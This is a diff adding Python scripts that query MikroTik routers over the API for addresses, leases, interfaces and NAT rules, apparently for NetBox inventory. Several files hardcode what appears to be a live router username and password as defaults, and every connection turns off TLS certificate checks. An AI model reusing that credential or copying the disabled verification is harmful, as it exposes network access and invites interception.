'mac': mac,
|
||||||
|
'source': 'arp',
|
||||||
|
'interface': hostname
|
||||||
|
}
|
||||||
|
access_points.append(ap_info)
|
||||||
|
print(f" {ap_info['name']}: {ip} ({mac})")
|
||||||
|
|
||||||
|
# Print summary
|
||||||
|
print(f"\n=== Summary ===")
|
||||||
|
print(f"Found {len(access_points)} access points\n")
|
||||||
|
|
||||||
|
# Print clean list
|
||||||
|
print("=== Access Point List ===")
|
||||||
|
for ap in sorted(access_points, key=lambda x: x['ip']):
|
||||||
|
print(f"{ap['name']:<40} {ap['ip']:<15} {ap['mac']}")
|
||||||
|
|
||||||
|
# Save to file if requested
|
||||||
|
if args.output:
|
||||||
|
with open(args.output, 'w') as f:
|
||||||
|
json.dump(access_points, f, indent=2)
|
||||||
|
print(f"\nData saved to: {args.output}")
|
||||||
|
|
||||||
|
api.close()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
196
get_all_network_devices.py
Normal file
196
get_all_network_devices.py
Normal file
|
|
@ -0,0 +1,196 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Get all network devices from a MikroTik router (DHCP, ARP, interfaces)
|
||||||
|
to identify access points and other devices
|
||||||
|
"""
|
||||||
|
import ssl
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import argparse
|
||||||
|
from collections import defaultdict
|
||||||
|
|
||||||
|
try:
|
||||||
|
from librouteros import connect
|
||||||
|
except ImportError:
|
||||||
|
print("Error: librouteros module not found")
|
||||||
|
print("Install with: pip install librouteros")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def connect_to_router(ip, username, password, use_ssl=True):
|
||||||
|
"""Connect to MikroTik router"""
|
||||||
|
port = 8729 if use_ssl else 8728
|
||||||
|
try:
|
||||||
|
if use_ssl:
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
|
||||||
|
api = connect(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
host=ip,
|
||||||
|
port=port,
|
||||||
|
ssl_wrapper=ctx.wrap_socket
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
api = connect(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
host=ip,
|
||||||
|
port=port
|
||||||
|
)
|
||||||
|
|
||||||
|
print(f"✓ Connected to {ip}")
|
||||||
|
return api
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Connection failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_dhcp_leases(api):
|
||||||
|
"""Get DHCP leases"""
|
||||||
|
try:
|
||||||
|
return list(api.path('/ip/dhcp-server/lease'))
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error getting DHCP leases: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_arp_table(api):
|
||||||
|
"""Get ARP table"""
|
||||||
|
try:
|
||||||
|
return list(api.path('/ip/arp'))
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error getting ARP table: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_device_type(mac, hostname, comment):
|
||||||
|
"""Determine device type based on MAC prefix and other identifiers"""
|
||||||
|
if not mac:
|
||||||
|
return "Unknown"
|
||||||
|
|
||||||
|
mac_upper = mac.upper()
|
||||||
|
|
||||||
|
# Ubiquiti prefixes
|
||||||
|
ubiquiti_prefixes = ['04:18:D6', 'F0:9F:C2', '24:A4:3C', '68:72:51', '80:2A:A8', 'FC:EC:DA']
|
||||||
|
if any(mac_upper.startswith(prefix) for prefix in ubiquiti_prefixes):
|
||||||
|
# Check if it's likely an access point vs customer device
|
||||||
|
if hostname or comment:
|
||||||
|
name = (hostname or comment).lower()
|
||||||
|
if any(x in name for x in ['ap', 'access', 'bridge', 'station', 'loco', 'nano', 'powerbeam', 'rocket']):
|
||||||
|
return "Ubiquiti AP"
|
||||||
|
return "Ubiquiti Device"
|
||||||
|
|
||||||
|
# MikroTik prefixes
|
||||||
|
mikrotik_prefixes = ['00:0C:42', '4C:5E:0C', '6C:3B:6B', 'D4:CA:6D', 'E4:8D:8C', 'DC:2C:6E', 'B8:69:F4', '48:8F:5A']
|
||||||
|
if any(mac_upper.startswith(prefix) for prefix in mikrotik_prefixes):
|
||||||
|
if hostname or comment:
|
||||||
|
name = (hostname or comment).lower()
|
||||||
|
if any(x in name for x in ['ap', 'cap', 'hap', 'wap', 'sxt', 'lhg']):
|
||||||
|
return "MikroTik AP"
|
||||||
|
return "MikroTik Device"
|
||||||
|
|
||||||
|
return "Other Device"
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Get all network devices from MikroTik router')
|
||||||
|
parser.add_argument('router_ip', help='Router IP address')
|
||||||
|
parser.add_argument('-u', '--username', default='grahamro', help='Username (default: grahamro)')
|
||||||
|
parser.add_argument('-p', '--password', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Password')
|
||||||
|
parser.add_argument('-o', '--output', help='Output file (JSON)')
|
||||||
|
parser.add_argument('--no-ssl', action='store_true', help='Use plain API instead of API-SSL')
|
||||||
|
parser.add_argument('--show-all', action='store_true', help='Show all devices, not just likely APs')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
api = connect_to_router(args.router_ip, args.username, args.password, not args.no_ssl)
|
||||||
|
if not api:
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("\n=== Retrieving Network Device Information ===\n")
|
||||||
|
|
||||||
|
dhcp_leases = get_dhcp_leases(api)
|
||||||
|
arp_table = get_arp_table(api)
|
||||||
|
|
||||||
|
# Merge data by MAC address
|
||||||
|
devices = defaultdict(lambda: {
|
||||||
|
'ip': '',
|
||||||
|
'mac': '',
|
||||||
|
'hostname': '',
|
||||||
|
'comment': '',
|
||||||
|
'status': '',
|
||||||
|
'type': 'Unknown',
|
||||||
|
'server': '',
|
||||||
|
'interface': ''
|
||||||
|
})
|
||||||
|
|
||||||
|
# Process DHCP leases
|
||||||
|
for lease in dhcp_leases:
|
||||||
|
mac = lease.get('mac-address', '')
|
||||||
|
if mac:
|
||||||
|
dev = devices[mac]
|
||||||
|
dev['mac'] = mac
|
||||||
|
dev['ip'] = lease.get('address', dev['ip'])
|
||||||
|
dev['hostname'] = lease.get('host-name', dev['hostname'])
|
||||||
|
dev['comment'] = lease.get('comment', dev['comment'])
|
||||||
|
dev['status'] = lease.get('status', dev['status'])
|
||||||
|
dev['server'] = lease.get('server', dev['server'])
|
||||||
|
|
||||||
|
# Process ARP table
|
||||||
|
for arp in arp_table:
|
||||||
|
mac = arp.get('mac-address', '')
|
||||||
|
if mac:
|
||||||
|
dev = devices[mac]
|
||||||
|
dev['mac'] = mac
|
||||||
|
if not dev['ip']:
|
||||||
|
dev['ip'] = arp.get('address', '')
|
||||||
|
if not dev['interface']:
|
||||||
|
dev['interface'] = arp.get('interface', '')
|
||||||
|
|
||||||
|
# Determine device types
|
||||||
|
for mac, dev in devices.items():
|
||||||
|
dev['type'] = get_device_type(mac, dev['hostname'], dev['comment'])
|
||||||
|
|
||||||
|
# Group by type
|
||||||
|
by_type = defaultdict(list)
|
||||||
|
for dev in devices.values():
|
||||||
|
by_type[dev['type']].append(dev)
|
||||||
|
|
||||||
|
# Display results
|
||||||
|
print("=== Network Devices by Type ===\n")
|
||||||
|
|
||||||
|
for device_type in ['Ubiquiti AP', 'MikroTik AP', 'Ubiquiti Device', 'MikroTik Device', 'Other Device']:
|
||||||
|
if device_type in by_type:
|
||||||
|
devices_of_type = sorted(by_type[device_type], key=lambda x: x['ip'])
|
||||||
|
|
||||||
|
if not args.show_all and device_type == 'Other Device':
|
||||||
|
print(f"\n{device_type}s: {len(devices_of_type)} (use --show-all to display)")
|
||||||
|
continue
|
||||||
|
|
||||||
|
print(f"\n{device_type}s: {len(devices_of_type)}")
|
||||||
|
print("-" * 100)
|
||||||
|
for dev in devices_of_type:
|
||||||
|
name = dev['hostname'] or dev['comment'] or dev['mac']
|
||||||
|
print(f" {name:<35} {dev['ip']:<15} {dev['mac']:<17} {dev['interface']:<20}")
|
||||||
|
if dev['comment'] and dev['comment'] != name:
|
||||||
|
print(f" Comment: {dev['comment']}")
|
||||||
|
|
||||||
|
# Summary
|
||||||
|
print(f"\n=== Summary ===")
|
||||||
|
print(f"Total devices found: {len(devices)}")
|
||||||
|
for device_type, devs in sorted(by_type.items()):
|
||||||
|
print(f" {device_type}: {len(devs)}")
|
||||||
|
|
||||||
|
# Save to file if requested
|
||||||
|
if args.output:
|
||||||
|
output_data = {
|
||||||
|
'router': args.router_ip,
|
||||||
|
'devices': [dev for dev in devices.values()],
|
||||||
|
'by_type': {k: v for k, v in by_type.items()}
|
||||||
|
}
|
||||||
|
with open(args.output, 'w') as f:
|
||||||
|
json.dump(output_data, f, indent=2)
|
||||||
|
print(f"\nData saved to: {args.output}")
|
||||||
|
|
||||||
|
api.close()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
125
get_climax_router_data.py
Normal file
125
get_climax_router_data.py
Normal file
|
|
@ -0,0 +1,125 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import ssl
|
||||||
|
from librouteros import connect
|
||||||
|
from librouteros.query import Key
|
||||||
|
|
||||||
|
def get_climax_router_data():
|
||||||
|
"""Connect to Climax router and retrieve network configuration"""
|
||||||
|
|
||||||
|
# Router connection details
|
||||||
|
router_ip = '10.254.254.102'
|
||||||
|
username = 'grahamro'
|
||||||
|
password = 'cFKhz8q5gPLoucMbcT1Iy58r3IXgc3'
|
||||||
|
|
||||||
|
print(f"=== Connecting to Climax Router ({router_ip}) ===\n")
|
||||||
|
|
||||||
|
# SSL context for secure connection
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Connect to router
|
||||||
|
api = connect(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
host=router_ip,
|
||||||
|
port=8729,
|
||||||
|
ssl_wrapper=ctx.wrap_socket
|
||||||
|
)
|
||||||
|
|
||||||
|
print("✓ Connected successfully\n")
|
||||||
|
|
||||||
|
# Get IP addresses
|
||||||
|
print("=== IP Addresses ===")
|
||||||
|
ip_addresses = api('/ip/address/print')
|
||||||
|
|
||||||
|
subnets = []
|
||||||
|
for addr in ip_addresses:
|
||||||
|
if not addr.get('disabled', False):
|
||||||
|
address = addr['address']
|
||||||
|
interface = addr.get('interface', 'unknown')
|
||||||
|
network = addr.get('network', '')
|
||||||
|
comment = addr.get('comment', '')
|
||||||
|
|
||||||
|
print(f"Interface: {interface}")
|
||||||
|
print(f" Address: {address}")
|
||||||
|
print(f" Network: {network}")
|
||||||
|
if comment:
|
||||||
|
print(f" Comment: {comment}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
subnets.append({
|
||||||
|
'address': address,
|
||||||
|
'network': network,
|
||||||
|
'interface': interface,
|
||||||
|
'comment': comment
|
||||||
|
})
|
||||||
|
|
||||||
|
# Get PPPoE servers
|
||||||
|
print("\n=== PPPoE Servers ===")
|
||||||
|
try:
|
||||||
|
pppoe_servers = api('/interface/pppoe-server/server/print')
|
||||||
|
for server in pppoe_servers:
|
||||||
|
if not server.get('disabled', False):
|
||||||
|
name = server.get('service-name', 'unnamed')
|
||||||
|
interface = server.get('interface', 'unknown')
|
||||||
|
print(f"Service: {name} on {interface}")
|
||||||
|
except:
|
||||||
|
print("No PPPoE servers found or access denied")
|
||||||
|
|
||||||
|
# Get interfaces
|
||||||
|
print("\n=== Active Interfaces ===")
|
||||||
|
interfaces = api('/interface/print')
|
||||||
|
active_interfaces = []
|
||||||
|
|
||||||
|
for iface in interfaces:
|
||||||
|
if not iface.get('disabled', False) and iface.get('running', False):
|
||||||
|
name = iface['name']
|
||||||
|
itype = iface.get('type', 'unknown')
|
||||||
|
mac = iface.get('mac-address', 'N/A')
|
||||||
|
comment = iface.get('comment', '')
|
||||||
|
|
||||||
|
active_interfaces.append({
|
||||||
|
'name': name,
|
||||||
|
'type': itype,
|
||||||
|
'mac': mac,
|
||||||
|
'comment': comment
|
||||||
|
})
|
||||||
|
|
||||||
|
print(f"{name} ({itype})")
|
||||||
|
if comment:
|
||||||
|
print(f" Comment: {comment}")
|
||||||
|
|
||||||
|
# Close connection
|
||||||
|
api.close()
|
||||||
|
|
||||||
|
print(f"\n=== Summary ===")
|
||||||
|
print(f"Found {len(subnets)} IP addresses/subnets")
|
||||||
|
print(f"Found {len(active_interfaces)} active interfaces")
|
||||||
|
|
||||||
|
# Return data for further processing
|
||||||
|
return {
|
||||||
|
'subnets': subnets,
|
||||||
|
'interfaces': active_interfaces,
|
||||||
|
'router_ip': router_ip
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Connection failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
data = get_climax_router_data()
|
||||||
|
|
||||||
|
if data:
|
||||||
|
print("\n=== Router Data Retrieved Successfully ===")
|
||||||
|
print(f"This data can be used to update NetBox with Climax router configuration")
|
||||||
|
else:
|
||||||
|
print("\n✗ Failed to retrieve router data")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
161
get_mikrotik_basic_data.py
Normal file
161
get_mikrotik_basic_data.py
Normal file
|
|
@ -0,0 +1,161 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import ssl
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import argparse
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
try:
|
||||||
|
from librouteros import connect
|
||||||
|
from librouteros.query import Key
|
||||||
|
except ImportError:
|
||||||
|
print("Error: librouteros module not found")
|
||||||
|
print("Install with: pip install librouteros")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def get_router_basic_data(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
|
||||||
|
"""
|
||||||
|
Get basic router configuration data (simplified for older RouterOS)
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host: IP address or hostname of the router
|
||||||
|
username: Router username
|
||||||
|
password: Router password
|
||||||
|
port: API-SSL port (default: 8729)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary containing basic router configuration
|
||||||
|
"""
|
||||||
|
|
||||||
|
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
|
||||||
|
|
||||||
|
# SSL context for secure connection
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Connect to router
|
||||||
|
api = connect(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
host=host,
|
||||||
|
port=port,
|
||||||
|
ssl_wrapper=ctx.wrap_socket
|
||||||
|
)
|
||||||
|
|
||||||
|
print("✓ Connected successfully\n")
|
||||||
|
|
||||||
|
# Get unique subnets only (skip individual CGNAT IPs)
|
||||||
|
print("=== IP Addresses (Unique Subnets) ===")
|
||||||
|
ip_addresses = api('/ip/address/print')
|
||||||
|
|
||||||
|
# Group by network to handle CGNAT blocks
|
||||||
|
networks_seen = {}
|
||||||
|
subnets = []
|
||||||
|
|
||||||
|
for addr in ip_addresses:
|
||||||
|
if not addr.get('disabled', False):
|
||||||
|
address = addr['address']
|
||||||
|
interface = addr.get('interface', 'unknown')
|
||||||
|
network = addr.get('network', '')
|
||||||
|
|
||||||
|
# For CGNAT interface, only keep one representative
|
||||||
|
if interface == 'cgnat':
|
||||||
|
if network not in networks_seen:
|
||||||
|
networks_seen[network] = True
|
||||||
|
print(f"CGNAT Network: {network}/25 (multiple IPs)")
|
||||||
|
subnets.append({
|
||||||
|
'address': f"{network}/25",
|
||||||
|
'network': network,
|
||||||
|
'interface': interface,
|
||||||
|
'comment': 'CGNAT pool'
|
||||||
|
})
|
||||||
|
else:
|
||||||
|
# Regular interfaces
|
||||||
|
print(f"Interface: {interface}")
|
||||||
|
print(f" Address: {address}")
|
||||||
|
print(f" Network: {network}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
subnets.append({
|
||||||
|
'address': address,
|
||||||
|
'network': network,
|
||||||
|
'interface': interface,
|
||||||
|
'comment': ''
|
||||||
|
})
|
||||||
|
|
||||||
|
# Get key interfaces only
|
||||||
|
print("\n=== Key Interfaces ===")
|
||||||
|
interfaces = api('/interface/print')
|
||||||
|
active_interfaces = []
|
||||||
|
|
||||||
|
# Focus on non-dynamic interfaces
|
||||||
|
for iface in interfaces:
|
||||||
|
if not iface.get('disabled', False) and iface.get('running', False):
|
||||||
|
name = iface['name']
|
||||||
|
itype = iface.get('type', 'unknown')
|
||||||
|
|
||||||
|
# Skip PPPoE client interfaces
|
||||||
|
if not name.startswith('<'):
|
||||||
|
active_interfaces.append({
|
||||||
|
'name': name,
|
||||||
|
'type': itype
|
||||||
|
})
|
||||||
|
|
||||||
|
print(f"{name} ({itype})")
|
||||||
|
|
||||||
|
# Close connection
|
||||||
|
api.close()
|
||||||
|
|
||||||
|
# Compile basic data
|
||||||
|
router_data = {
|
||||||
|
'host': host,
|
||||||
|
'timestamp': datetime.now().isoformat(),
|
||||||
|
'subnets': subnets,
|
||||||
|
'interfaces': active_interfaces
|
||||||
|
}
|
||||||
|
|
||||||
|
print(f"\n=== Summary ===")
|
||||||
|
print(f"Found {len(subnets)} unique subnets")
|
||||||
|
print(f"Found {len(active_interfaces)} active interfaces")
|
||||||
|
|
||||||
|
return router_data
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Connection failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Retrieve basic configuration from a MikroTik router')
|
||||||
|
parser.add_argument('host', help='IP address or hostname of the router')
|
||||||
|
parser.add_argument('--username', '-u', default='grahamro', help='Router username')
|
||||||
|
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
|
||||||
|
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
|
||||||
|
parser.add_argument('--output', '-o', help='Output filename')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Get router data
|
||||||
|
data = get_router_basic_data(args.host, args.username, args.password, args.port)
|
||||||
|
|
||||||
|
if data:
|
||||||
|
if args.output:
|
||||||
|
with open(args.output, 'w') as f:
|
||||||
|
json.dump(data, f, indent=2)
|
||||||
|
print(f"\nData saved to: {args.output}")
|
||||||
|
else:
|
||||||
|
print("\n=== JSON Output ===")
|
||||||
|
print(json.dumps(data, indent=2))
|
||||||
|
|
||||||
|
print("\n✓ Router data retrieved successfully")
|
||||||
|
return 0
|
||||||
|
else:
|
||||||
|
print("\n✗ Failed to retrieve router data")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
207
get_mikrotik_config_export.py
Normal file
207
get_mikrotik_config_export.py
Normal file
|
|
@ -0,0 +1,207 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import ssl
|
||||||
|
import sys
|
||||||
|
import argparse
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
try:
|
||||||
|
from librouteros import connect
|
||||||
|
except ImportError:
|
||||||
|
print("Error: librouteros module not found")
|
||||||
|
print("Install with: pip install librouteros")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def get_router_config(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
|
||||||
|
"""
|
||||||
|
Get full router configuration export
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host: IP address or hostname of the router
|
||||||
|
username: Router username
|
||||||
|
password: Router password
|
||||||
|
port: API-SSL port (default: 8729)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Configuration export string
|
||||||
|
"""
|
||||||
|
|
||||||
|
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
|
||||||
|
|
||||||
|
# SSL context for secure connection
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Connect to router
|
||||||
|
api = connect(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
host=host,
|
||||||
|
port=port,
|
||||||
|
ssl_wrapper=ctx.wrap_socket
|
||||||
|
)
|
||||||
|
|
||||||
|
print("✓ Connected successfully\n")
|
||||||
|
print("Exporting configuration...")
|
||||||
|
|
||||||
|
# Get router identity first
|
||||||
|
try:
|
||||||
|
identity_data = api('/system/identity/print')
|
||||||
|
if identity_data:
|
||||||
|
identity = identity_data[0].get('name', 'router')
|
||||||
|
print(f"Router identity: {identity}")
|
||||||
|
except:
|
||||||
|
identity = 'router'
|
||||||
|
|
||||||
|
# Export configuration
|
||||||
|
# Note: /export returns the config in a specific format
|
||||||
|
try:
|
||||||
|
# For RouterOS API, we need to get specific sections
|
||||||
|
config_sections = []
|
||||||
|
|
||||||
|
# Get IP addresses
|
||||||
|
print("\nGetting IP configuration...")
|
||||||
|
ip_addresses = api('/ip/address/print')
|
||||||
|
|
||||||
|
# Get IP pools
|
||||||
|
print("Getting IP pools...")
|
||||||
|
try:
|
||||||
|
ip_pools = api('/ip/pool/print')
|
||||||
|
except:
|
||||||
|
ip_pools = []
|
||||||
|
|
||||||
|
# Get PPPoE servers
|
||||||
|
print("Getting PPPoE servers...")
|
||||||
|
try:
|
||||||
|
pppoe_servers = api('/interface/pppoe-server/server/print')
|
||||||
|
except:
|
||||||
|
pppoe_servers = []
|
||||||
|
|
||||||
|
# Get PPP profiles
|
||||||
|
print("Getting PPP profiles...")
|
||||||
|
try:
|
||||||
|
ppp_profiles = api('/ppp/profile/print')
|
||||||
|
except:
|
||||||
|
ppp_profiles = []
|
||||||
|
|
||||||
|
# Get firewall NAT rules
|
||||||
|
print("Getting NAT rules...")
|
||||||
|
try:
|
||||||
|
nat_rules = api('/ip/firewall/nat/print')
|
||||||
|
except:
|
||||||
|
nat_rules = []
|
||||||
|
|
||||||
|
# Get DHCP servers
|
||||||
|
print("Getting DHCP configuration...")
|
||||||
|
try:
|
||||||
|
dhcp_servers = api('/ip/dhcp-server/print')
|
||||||
|
dhcp_networks = api('/ip/dhcp-server/network/print')
|
||||||
|
except:
|
||||||
|
dhcp_servers = []
|
||||||
|
dhcp_networks = []
|
||||||
|
|
||||||
|
# Build configuration summary
|
||||||
|
config = f"# Configuration for {identity} ({host})\n"
|
||||||
|
config += f"# Exported on {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"
|
||||||
|
|
||||||
|
# IP Addresses
|
||||||
|
config += "# IP Addresses\n"
|
||||||
|
for addr in ip_addresses:
|
||||||
|
if not addr.get('disabled', False) and not addr.get('dynamic', False):
|
||||||
|
config += f"/ip address add address={addr['address']} interface={addr.get('interface', '')} "
|
||||||
|
if addr.get('comment'):
|
||||||
|
config += f"comment=\"{addr['comment']}\""
|
||||||
|
config += "\n"
|
||||||
|
|
||||||
|
# IP Pools
|
||||||
|
if ip_pools:
|
||||||
|
config += "\n# IP Pools\n"
|
||||||
|
for pool in ip_pools:
|
||||||
|
config += f"/ip pool add name={pool['name']} ranges={pool.get('ranges', '')}\n"
|
||||||
|
|
||||||
|
# PPPoE configuration
|
||||||
|
if pppoe_servers:
|
||||||
|
config += "\n# PPPoE Servers\n"
|
||||||
|
for server in pppoe_servers:
|
||||||
|
if not server.get('disabled', False):
|
||||||
|
config += f"/interface pppoe-server server add name={server.get('service-name', '')} "
|
||||||
|
config += f"interface={server.get('interface', '')} "
|
||||||
|
if server.get('default-profile'):
|
||||||
|
config += f"default-profile={server['default-profile']} "
|
||||||
|
config += "\n"
|
||||||
|
|
||||||
|
# PPP Profiles
|
||||||
|
if ppp_profiles:
|
||||||
|
config += "\n# PPP Profiles\n"
|
||||||
|
for profile in ppp_profiles:
|
||||||
|
if profile['name'] != 'default' and profile['name'] != 'default-encryption':
|
||||||
|
config += f"/ppp profile add name={profile['name']} "
|
||||||
|
if profile.get('local-address'):
|
||||||
|
config += f"local-address={profile['local-address']} "
|
||||||
|
if profile.get('remote-address'):
|
||||||
|
config += f"remote-address={profile['remote-address']} "
|
||||||
|
config += "\n"
|
||||||
|
|
||||||
|
# NAT rules
|
||||||
|
if nat_rules:
|
||||||
|
config += "\n# NAT Rules\n"
|
||||||
|
for rule in nat_rules:
|
||||||
|
if not rule.get('disabled', False):
|
||||||
|
config += f"/ip firewall nat add chain={rule.get('chain', '')} "
|
||||||
|
if rule.get('src-address'):
|
||||||
|
config += f"src-address={rule['src-address']} "
|
||||||
|
if rule.get('dst-address'):
|
||||||
|
config += f"dst-address={rule['dst-address']} "
|
||||||
|
if rule.get('action'):
|
||||||
|
config += f"action={rule['action']} "
|
||||||
|
if rule.get('to-addresses'):
|
||||||
|
config += f"to-addresses={rule['to-addresses']} "
|
||||||
|
config += "\n"
|
||||||
|
|
||||||
|
# Close connection
|
||||||
|
api.close()
|
||||||
|
|
||||||
|
return config
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error getting configuration: {e}")
|
||||||
|
api.close()
|
||||||
|
return None
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Connection failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Export configuration from a MikroTik router')
|
||||||
|
parser.add_argument('host', help='IP address or hostname of the router')
|
||||||
|
parser.add_argument('--username', '-u', default='grahamro', help='Router username')
|
||||||
|
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
|
||||||
|
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
|
||||||
|
parser.add_argument('--output', '-o', help='Output filename')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Get router config
|
||||||
|
config = get_router_config(args.host, args.username, args.password, args.port)
|
||||||
|
|
||||||
|
if config:
|
||||||
|
if args.output:
|
||||||
|
with open(args.output, 'w') as f:
|
||||||
|
f.write(config)
|
||||||
|
print(f"\n✓ Configuration exported to: {args.output}")
|
||||||
|
else:
|
||||||
|
print("\n=== Configuration Export ===")
|
||||||
|
print(config)
|
||||||
|
|
||||||
|
return 0
|
||||||
|
else:
|
||||||
|
print("\n✗ Failed to export configuration")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
259
get_mikrotik_router_data.py
Normal file
259
get_mikrotik_router_data.py
Normal file
|
|
@ -0,0 +1,259 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import ssl
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import argparse
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
try:
|
||||||
|
from librouteros import connect
|
||||||
|
from librouteros.query import Key
|
||||||
|
except ImportError:
|
||||||
|
print("Error: librouteros module not found")
|
||||||
|
print("Install with: pip install librouteros")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def get_router_data(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
|
||||||
|
"""
|
||||||
|
Connect to a MikroTik router and retrieve network configuration
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host: IP address or hostname of the router
|
||||||
|
username: Router username (default: grahamro)
|
||||||
|
password: Router password
|
||||||
|
port: API-SSL port (default: 8729)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary containing router configuration data
|
||||||
|
"""
|
||||||
|
|
||||||
|
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
|
||||||
|
|
||||||
|
# SSL context for secure connection
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Connect to router
|
||||||
|
api = connect(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
host=host,
|
||||||
|
port=port,
|
||||||
|
ssl_wrapper=ctx.wrap_socket
|
||||||
|
)
|
||||||
|
|
||||||
|
print("✓ Connected successfully\n")
|
||||||
|
|
||||||
|
# Get router identity
|
||||||
|
identity = None
|
||||||
|
try:
|
||||||
|
identity_data = api('/system/identity/print')
|
||||||
|
if identity_data:
|
||||||
|
identity = identity_data[0].get('name', 'Unknown')
|
||||||
|
print(f"Router Identity: {identity}\n")
|
||||||
|
except:
|
||||||
|
print("Could not retrieve router identity\n")
|
||||||
|
|
||||||
|
# Get IP addresses
|
||||||
|
print("=== IP Addresses ===")
|
||||||
|
ip_addresses = api('/ip/address/print')
|
||||||
|
|
||||||
|
subnets = []
|
||||||
|
for addr in ip_addresses:
|
||||||
|
if not addr.get('disabled', False):
|
||||||
|
address = addr['address']
|
||||||
|
interface = addr.get('interface', 'unknown')
|
||||||
|
network = addr.get('network', '')
|
||||||
|
comment = addr.get('comment', '')
|
||||||
|
dynamic = addr.get('dynamic', False)
|
||||||
|
|
||||||
|
print(f"Interface: {interface}")
|
||||||
|
print(f" Address: {address}")
|
||||||
|
print(f" Network: {network}")
